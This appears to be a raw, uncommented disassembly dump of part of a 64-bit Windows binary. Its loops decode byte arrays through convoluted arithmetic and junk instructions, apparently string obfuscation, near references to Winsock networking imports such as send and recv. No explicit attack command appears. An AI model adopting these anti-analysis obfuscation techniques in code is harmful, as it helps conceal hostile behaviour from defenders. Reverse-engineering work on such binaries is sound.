movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
jmp 0x1400c9392
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c9071
add r10b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c88f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c8e0e
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x76
jmp 0x1400c932a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c90c1
lea edx, [r10 + 0x6f]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 9
add dl, cl
jmp 0x1400c932a
inc rax
cmp r8, rax
jne 0x1400c90ef
sub r10b, 0x4d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x1b
dec rbx
inc rbx
jmp 0x1400c88f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c9118
sub r10b, 9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x3f
jmp 0x1400c93cd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c8dc5
sub r10b, 0x67
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x2f
jmp 0x1400c93d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c917b
sub r10b, 0x6c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xc
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
inc rax
cmp r8, rax
jne 0x1400c91a5
add r10b, 0x36
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x7a
add dl, r10b
jmp 0x1400c942d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c91cd
lea edx, [r10 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c93ff
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c91f6
lea edx, [r10 - 0x42]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x32
add dl, cl
jmp 0x1400c9392
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c8d88
lea edx, [r10 - 0x5c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x7c
add dl, cl
jmp 0x1400c932a
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, r11b
sub dl, 0x58
add dl, cl
jmp 0x1400c9392
lea edx, [r10 - 0x76]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
jmp 0x1400c93ff
sub r10b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x1f
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 5
jmp 0x1400c9401
sub r10b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x69
jmp 0x1400c93d0
add r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x29
jmp 0x1400c93cd
add r10b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4d
dec rbx
inc rbx
jmp 0x1400c88f2
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x71
jmp 0x1400c932a
movzx r10d, bl
lea ecx, [r10 - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
add r10b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x5f
add r11b, r10b
mov byte [rbp + rbx + 0x580], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c88f2
lea ecx, [rbx - 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x27
inc r9
dec rbx
inc rbx
jmp 0x1400c88f2
movzx r10d, bl
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4b
sub r10b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0xf
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x580], r11b
jmp 0x1400c93cd
lea ecx, [rbx - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c88f2
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
dec dl
movzx r10d, bl
add dl, cl
add r10b, 0x5b
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7d
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x580], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x2c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, cl
mov byte [rbp + rbx + 0x580], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x25
movzx eax, byte [rbp + rbx + 0x580]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c88f2
sub r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x13
jmp 0x1400c88f0
sub r10b, 0xd
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x5b
jmp 0x1400c88e0
lea rdx, [rbp + 0x14e81ec]
jmp 0x1400c94f1
lea rdx, [rbp + 0xbef6bd]
jmp 0x1400c94f1
lea rdx, [rbp + 0x580]
mov rcx, rsi
call fcn.140059ac0
mov byte [rbp + 0x148], Ordinal_79
mov byte [rbp + 0x149], 4
mov byte [rbp + 0x14a], 0xf8
mov byte [rbp + 0x14b], 0xfb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14c], xmm0
mov qword [rbp + 0x15c], rax
mov dword [rbp + 0x164], eax
mov byte [rbp + 0x168], al
movabs rsi, 0x281ec8d287787cff
movabs r15, 0x18d77dc1b44b6af9
movabs r14, 0x785c5a77966976fd
movzx r8d, byte [rsp + 0x31]
nop dword [rax + rax]
mov rax, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x21
jae 0x1400ca0c5
movzx r11d, byte [rbp + rbx + 0x148]
mov edi, r11d
nop dword [rax + rax]
cmp rax, rbx
ja 0x1400ca0ba
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1400c95c5
lea rdx, [rbx + rsi]
movzx ecx, dil
and cl, dl
add cl, cl
movzx r8d, r11b
sub r8b, cl
add r8b, 7
add r8b, dl
jmp 0x1400c95ff
je 0x1400ca04a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c9fbf
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c9f67
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400c9f47
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400c9f00
movzx r10d, bl
cmp r9, rbx
ja 0x1400ca0af
lea rcx, [r9 + 9]
cmp rax, rcx
jae 0x1400c9635
lea r8d, [r10 - 0x15]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x6d
add r8b, r11b
jmp 0x1400c9680
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c9ee5
inc rcx
cmp rax, rcx
je 0x1400c9ec2
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c9ea7
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c9e8a
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c9e6d
nop word [rax + rax]
lea rcx, [rax + r9]
cmp rcx, rbx
jbe 0x1400c9c12
nop dword [rax]
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1400c9bf3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c9bc9
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1400c9ba2
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400c9b83
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400c9b62
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1400c9b41
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400c9b22
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c9b01
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400c9acf
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400c9690
lea rax, [r9 + 9]
lea r9, [rax + 0x200]
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1400ca092
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x1400ca075
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400c987d
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400c9861
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x1400c9845
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1400c9a86
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x1400c9a3d
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400c9a00
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400c99d8
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1400c9690
lea rax, [r9 + 0x5a]
lea r9, [rax + 9]
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1400c99a6
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400c9985
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400c9966
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400c9945
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400c9924
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1400c9905
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1400c98dd
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x1400c98b8
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x1400c9899
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1400c9690
lea rax, [r9 + 0x64]
lea r9, [rax + 0x5a]
jmp 0x1400c9690
lea r8d, [r10 + 0x75]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x33
add r8b, r11b
jmp 0x1400c9680
lea r8d, [r10 + 0x77]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x41
add r8b, r11b
jmp 0x1400c9603
lea r8d, [r10 + 0x79]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x4f
add r8b, r11b
jmp 0x1400c9590
lea edx, [r10 + 0x58]
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r8d, r11b
sub r8b, cl
sub r8b, 0x68
add r8b, dl
jmp 0x1400c9f1a
lea r8d, [r10 + 0x5a]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r8b, cl
sub r8b, 0x76
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c9572
add r10b, 0x5c
movzx ecx, r10b
and cl, r11b
mov r8d, 0x3e
sub r8b, cl
add r8b, r8b
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400c9572
lea r8d, [r10 + 0x5e]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9f81
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c9fa3
add r10b, 0x62
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_41
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c9fa6
lea r8d, [r10 + 0x64]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9fdb
add r10b, 0x66
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400ca007
add r10b, 0x68
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
add r10b, 0x6d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 5
mov byte [rbp + rbx + 0x148], r8b
inc rbx
jmp 0x1400c9572
lea edx, [r10 + 0x6f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 9
cmp r9, 0x1000
jb 0x1400c99f0
lea edx, [r10 - 0x66]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea r8d, [rdx*2 - 0x6c]
jmp 0x1400c9f1a
lea edx, [r10 + 0x71]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x17
cmp rax, 4
jae 0x1400c9e38
lea rcx, [r9 + 0x40]
cmp rax, rcx
jbe 0x1400c9da2
lea r8d, [r10 - 0x52]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_32
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9a16
lea edx, [r10 + 0x73]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x25
lea rcx, [rax + r9]
cmp rcx, 0x40
je 0x1400c9e56
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jbe 0x1400c9cd0
lea edx, [r10 - 0x3d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x55
jmp 0x1400c9a53
sub r10b, 0x7e
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
sub r10b, 0x7c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400ca007
lea r8d, [r10 - 0x7a]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_46
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9fdb
sub r10b, 0x78
movzx ecx, r10b
and cl, r11b
mov edx, 0x24
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c9fa6
sub r10b, 0x76
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_32
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c9fa3
lea r8d, [r10 - 0x74]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9f81
sub r10b, 0x72
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400c9572
sub r10b, 0x70
movzx ecx, r10b
and cl, r11b
mov edx, 8
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c9572
lea r8d, [r10 - 0x6e]
movzx ecx, r8b
and cl, r11b
mov edx, 1
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9f1a
lea rcx, [r9 + 0x64]
cmp rax, rcx
jae 0x1400c9c3a
lea edx, [r10 - 1]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 7
jmp 0x1400c9a9c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c9c79
sub r10b, 0x2a
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
inc rcx
cmp rax, rcx
jne 0x1400c9ca4
lea r8d, [r10 - 0x2e]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9fdb
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400c9a9c
lea r8d, [r10 - 0x34]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c9f81
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c9cf8
lea edx, [r10 - 0x3f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x47
jmp 0x1400c9f1a
inc rcx
cmp rax, rcx
jne 0x1400c9d27
sub r10b, 0x43
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x2b
dec rbx
inc rbx
jmp 0x1400c9572
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400c9d4f
lea edx, [r10 - 0x45]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1d
jmp 0x1400c9f81
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c9d79
sub r10b, 0x47
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0xf
jmp 0x1400c9fa3
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400c9a53
sub r10b, 0x49
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
dec r8b
jmp 0x1400c9fa6
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c9de1
sub r10b, 0x54
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
inc rcx
cmp rax, rcx
jne 0x1400c9e0e
sub r10b, 0x56
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400ca007
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c9a16
sub r10b, 0x5c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x7c
jmp 0x1400c9fa3
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x28
add r8b, r11b
jmp 0x1400c9f81
lea edx, [r10 - 0x6a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [rdx - 0x1a]
jmp 0x1400c9fdb
sub r10b, 0x21
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x19
jmp 0x1400c9fa6
sub r10b, 0x1f
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x27
jmp 0x1400c9fa3
lea edx, [r10 - 0x1d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x35
jmp 0x1400c9f81
sub r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x43
dec rbx
inc rbx
jmp 0x1400c9572
lea edx, [r10 - 0x17]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x5f
jmp 0x1400c9f1a
movzx r10d, bl
lea edx, [r10 - 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x7b
sub r10b, 0x67
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x2f
add r11b, r10b
mov byte [rbp + rbx + 0x148], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c9572
lea edx, [rbx - 0xf]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x69
dec rbx
inc rbx
jmp 0x1400c9572
movzx r10d, bl
lea edx, [r10 - 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x5b
sub r10b, 0x69
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x21
add r10b, r11b
add r10b, r8b
mov byte [rbp + rbx + 0x148], r10b
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400c9572
lea rdx, [rbx + r15]
and dil, dl
add dil, dil
movzx r8d, r11b
sub r8b, dil
add r8b, 0x31
add r8b, dl
movzx r10d, bl
sub r10b, 0x6b
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x13
add dl, r10b
movzx ecx, dl
mov byte [rbp + rbx + 0x148], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x6c]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0xc
add r11b, dl
mov byte [rbp + rbx + 0x148], r11b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
lea rcx, [rbx + r14]
and dil, cl
add dil, dil
sub r11b, dil
lea r8d, [rcx + r11]
add r8b, 0x15
movzx ecx, byte [rbp + rbx + 0x148]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400c9572
add r10b, 0x7b
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x5d
jmp 0x1400c9570
add r10b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r8d, [r10 + r11]
sub r8b, 0x6b
jmp 0x1400c9560
mov eax, dword [rbp + 0x173fc9c]
jmp 0x1400ca0cb
mov eax, dword [rbp + 0xec799b]
jmp 0x1400ca0cb
mov eax, dword [rbp + 0x148]
cdqe
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x60]
call fcn.14004ff70
mov rcx, rax
call fcn.14004ffe0
xor eax, eax
mov rcx, qword [rbp + 0x48e0]
xor rcx, rsp
call fcn.140212e90
lea r11, [rsp + 0x49f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x2a0], 0x56
mov byte [rbp + 0x2a1], 0xb8
mov byte [rbp + 0x2a2], 0xb3
mov byte [rbp + 0x2a3], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2a4], 0xa9
mov byte [rbp + 0x2a5], 0xa9
mov byte [rbp + 0x2a6], 0x66
mov byte [rbp + 0x2a7], 0x9b
mov byte [rbp + 0x2a8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2a9], 0x61
mov byte [rbp + 0x2aa], 0x9c
mov byte [rbp + 0x2ab], 0xae
mov byte [rbp + 0x2ac], 0x9e
mov byte [rbp + 0x2ad], 0xa4
mov byte [rbp + 0x2ae], 0xa0
mov byte [rbp + 0x2af], __WSAFDIsSet
mov byte [rbp + 0x2b0], 0x68
mov byte [rbp + 0x2b1], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2b2], 0xa7
mov byte [rbp + 0x2b3], 0x99
mov byte [rbp + 0x2b4], 0xe7
mov byte [rbp + 0x2b5], 0xdc
mov byte [rbp + 0x2b6], 0xe1
mov byte [rbp + 0x2b7], 0xe1
mov byte [rbp + 0x2b8], 0x7a
mov byte [rbp + 0x2b9], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ba], xmm0
mov qword [rbp + 0x2ca], rax
mov byte [rbp + 0x2d2], al
movabs r14, 0xce1c7a6255d0272c
movabs r12, 0xa2c758b058b11234
movabs r15, 0x6a556f2701707584
movzx r11d, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400cacd8
movzx ebx, byte [rbp + rdi + 0x2a0]
mov esi, ebx
cmp r8, rdi
ja 0x1400caccc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400ca269
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
sub r11b, 0x34
jmp 0x1400ca296
je 0x1400cac55
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cabcf
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cab74
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cab29
movzx r10d, dil
nop word [rax + rax]
cmp r9, rdi
ja 0x1400cacc0
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400ca2d3
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400ca310
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cab1b
inc rax
cmp r8, rax
je 0x1400caaf9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400caadd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400caac3
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400ca820
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400ca806
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400ca7dd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ca7bb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ca8ab
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ca79b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ca77f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400ca760
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ca744
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ca727
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400ca320
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400caca0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400cac84
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400ca50f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400ca4f0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400ca4d6
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400ca6db
lea rcx, [r9 + 8]
cmp r8, rcx
jb 0x1400ca693
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400ca659
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400ca62e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400ca320
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400ca611
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400ca5f5
lea rax, [r9 + 0x200]
cmp rcx, rax
